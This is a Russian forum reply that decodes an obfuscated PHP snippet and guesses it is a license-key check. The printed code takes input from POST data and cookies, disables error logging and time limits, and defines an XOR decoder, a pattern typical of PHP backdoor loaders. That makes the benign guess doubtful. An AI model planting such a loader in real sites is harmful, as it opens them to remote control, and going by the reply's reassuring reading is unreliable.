раскодировал ваш код, получается примерно следующее.
правда при вставке часть кода у вас видимо потерялась в конце в районе "return$x2d81e;}function } ?>" тут явная ошибка.
из-за этого непонятно с какими параметрами запускается функция.
но судя по всему функция проверяет валидность ключа $u6f1c2e47 = "0ab51c57-be71-493a-8c58-7ce8d4b71671";
скорее всего указанный код просто проверяет что скрипт запускает хозяин, который передаст нужные параметры через ($_POST или $_COOKIE).
но что примечательно в коде нет ни eval ни include ни даже чего нибудь для сохранения.
могу предположить что это автор скрипта (модуля или темы) хочет в дальнейшем проверять кто купил этот скрипт (или кто его слил).
но код здесь не весь, поэтому возможно не прав.
<?php
$qff9a = 471;
$GLOBALS['i6e2c'] = Array();
$r202 = "chr";
$x217014 = "ord";
$u9c19 = "strlen";
$r038e = "ini_set";
$r1fd = "serialize";
$d02ff21eb = "phpversion";
$d54fea = "unserialize";
$f549e33c = "base64_decode";
$y8bab83aa = "set_time_limit";
$j01867 = "e7024";
$qcf3eb3d = "b939eb25";
$d8d47 = $_POST;
$j5c03c5f3 = $_COOKIE;
ini_set("error_log", NULL);
ini_set("log_errors", 0);
ini_set("max_execution_time", 0);
set_time_limit(0);
$e271c71 = NULL;
$qfe70a = NULL;
$u6f1c2e47 = "0ab51c57-be71-493a-8c58-7ce8d4b71671";
function b939eb25($param1, $param2)
{
$result = "";
for ($i = 0; $i < strlen($param1);) {
for ($j = 0; $j < strlen($param2) && $i < strlen($param1); $j++, $i++) {
$result .= chr(ord($param1[$i]) ^ ord($param2[$j]));
}
}
return $result;
}